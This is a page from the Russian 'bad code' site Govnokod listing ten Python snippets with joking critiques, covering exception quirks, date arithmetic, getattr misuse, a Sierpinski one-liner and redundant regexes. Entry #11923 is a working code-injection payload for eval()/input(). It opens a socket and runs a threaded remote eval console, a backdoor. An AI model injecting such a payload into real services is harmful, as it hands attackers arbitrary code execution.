1. Python / Говнокод #12089

    −106

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    >>> class Foo():
    ...     pass
    ... 
    >>> try:
    ...     raise Foo()
    ... except ExceptionBase as foo:
    ...     print 'foo %s' % foo
    ... except:
    ...     print 'not an exception'
    ... else:
    ...     print 'it\'s all good'
    ... 
    not an exception
    >>>

    Чет я как-то призадумался... Питон 2.7. Что делать-та?

    wvxvw, 10 Ноября 2012

    Комментарии (68)
  2. Python / Говнокод #12015

    −94

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    #!/usr/local/bin/cpython
    
    回答 = 读入('你认为中文程式语言有存在价值吗 ? (有/没有)')
     
    如 回答 == '有':
            写 '好吧, 让我们一起努力!'
    不然 回答 == '没有':
            写 '好吧,中文并没有作为程式语言的价值.'
    否则:
            写 '请认真考虑后再回答.'

    http://ru.wikipedia.org/wiki/ChinesePython

    Сопроваждай, пробуй!

    sayidandrtfm, 28 Октября 2012

    Комментарии (14)
  3. Python / Говнокод #11925

    −98

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    today = datetime.datetime.today()
    date_paid = profile.date_subscription_paid
    months_delta = lambda a, b: a - b + (12 if b > a else 0)
    months_count = months_delta(today.month, date_paid.month)
    months_count += 0 if date_paid.day > today.day else 1
    delta = relativedelta(months=months_count)
    profile.date_subscription_paid += delta
    profile.save()

    Моё лицо, когда увидел это.
    http://rghost.ru/40948114/image.png

    хуита, 15 Октября 2012

    Комментарии (5)
  4. Python / Говнокод #11923

    −94

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    42 if (
        setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
        setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
        setattr(__builtins__,'___worker' ,lambda S: any( 
            (True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
            ),
        __builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
        ) else 0

    Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
    Отформатировано для удобства чтения, вообще это однострочник.

    Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.

    Vindicar, 15 Октября 2012

    Комментарии (24)
  5. Python / Говнокод #11915

    −102

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
           obj_l = list()
            for obj, obj_id in [(QuizQuestion, quest_id), (QuizAssigment, ass_id), (QuizQuestionAnswer, answ_id)]:
                q_set = getattr(getattr(obj, 'objects'), 'filter')(id=obj_id)
                obj_l.append(getattr(q_set, 'count')() > 0 and q_set[0] or False)
            (False in obj_l or obj_l[2].question != obj_l[0] or (user and obj_l[0].user)) and abort(IntegrityError())

    1) хер такое прочтешь
    2) для осмысления прочитанного нужно выпить
    3) за осмысление такого нужно выпить еще раз
    4) чувак узнал про getattr, хотя стоило вызвать напрямую obj.objects.filter(id=obj_id)
    5) q_set.count() > 0 and q_set[0] or false
    пятая строка поддается пониманию но катастрофически быстро начинает от этого терять смысл

    nimnull, 12 Октября 2012

    Комментарии (4)
  6. Python / Говнокод #11880

    −94

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    def __call__(self, *args, **kw):
        # ...
        if args and len(args) > 1 and args[0] is args[1][0]:
            # fml...
            temp = list(args)
            temp.pop(1)
            args = tuple(temp)
        return self._execute(*args, **kw)

    Быль про архитектуру.

    wvxvw, 06 Октября 2012

    Комментарии (4)
  7. Python / Говнокод #11823

    −87

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    >>> r=range(16);print '\n'.join(' '*y+' '.join('# '[x&y>0] for x in r) for y in r)
    # # # # # # # # # # # # # # # #
     #   #   #   #   #   #   #   #  
      # #     # #     # #     # #    
       #       #       #       #      
        # # # #         # # # #        
         #   #           #   #          
          # #             # #            
           #               #              
            # # # # # # # #                
             #   #   #   #                  
              # #     # #                    
               #       #                      
                # # # #                        
                 #   #                          
                  # #                            
                   #

    1. Почему f(x, y) = 1-sign(x&y) даёт в результате треугольник Серпинского?
    2. Олимпиада: на вашем любимом языке написать программу, которая выводит аналогичный фрактал(см. код). Победит тот язык, программа на котором займёт наименьшее число символов. Нулевое приближение на Python - 78 символов.

    serpinski, 22 Сентября 2012

    Комментарии (166)
  8. Python / Говнокод #11732

    −91

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    if value == '' or value == None or value == False or value == 0:
        ...
    
    if count(data) <= 0:
        ...
    
    # так же он еще умеет рефакторить это
    if post_data is None:
        ...
    # вот в это
    if not post_data:
        ...

    Пара примеров, как у нас в проекте "кодит" товарищ из Индии

    larikov, 09 Сентября 2012

    Комментарии (28)
  9. Python / Говнокод #11709

    −100

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    def profile_edit(request, template_name='profile/subdiler/profile_edit.html'):
        profile = request.profile
        
        if request.method == "POST":
            form = DilerProfileForm(request.POST, request.FILES, instance=profile)
            if form.is_valid():
                profile = form.save(commit=False)
                try:
                    profile.avatar = profile.avatar[0]
                except:
                    pass
                try:
                    profile.sign = profile.sign[0]
                except:
                    pass
                profile.city = form.city
                profile.save()

    Замечательная цепочка из try-cath
    Не менее замечательно то, что метод profile_edit полностью идентичный лежит в двух файлах subdiler_views.py и diler_views.py
    Разница между ними только в переменной template_name='profile/(subdiler|diler)/profile_edit.html'
    Для чего так сделано, мне нипанять.

    хуита, 05 Сентября 2012

    Комментарии (3)
  10. Python / Говнокод #11655

    −93

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    DISC_NUMBER_REGEXS = (
            "\(disc *[0-9]+\)",
            "\(cd *[0-9]+\)",
            "\[disc *[0-9]+\]",
            "\[cd *[0-9]+\]",
            " - disc *[0-9]+$",
            " - cd *[0-9]+$",
            " disc *[0-9]+$",
            " cd *[0-9]+$"
    )               
    
    # skipped
    
                    for exp in DISC_NUMBER_REGEXS:
                            p = re.compile (exp, re.IGNORECASE)
                            album = p.sub ('', album)

    Вот такие вот регулярные выражения из плагина Album Art Search для плеера Rhythmbox. Как минимум disc|cd и \d+ автор должен был осилить?

    victor-homyakov, 27 Августа 2012

    Комментарии (4)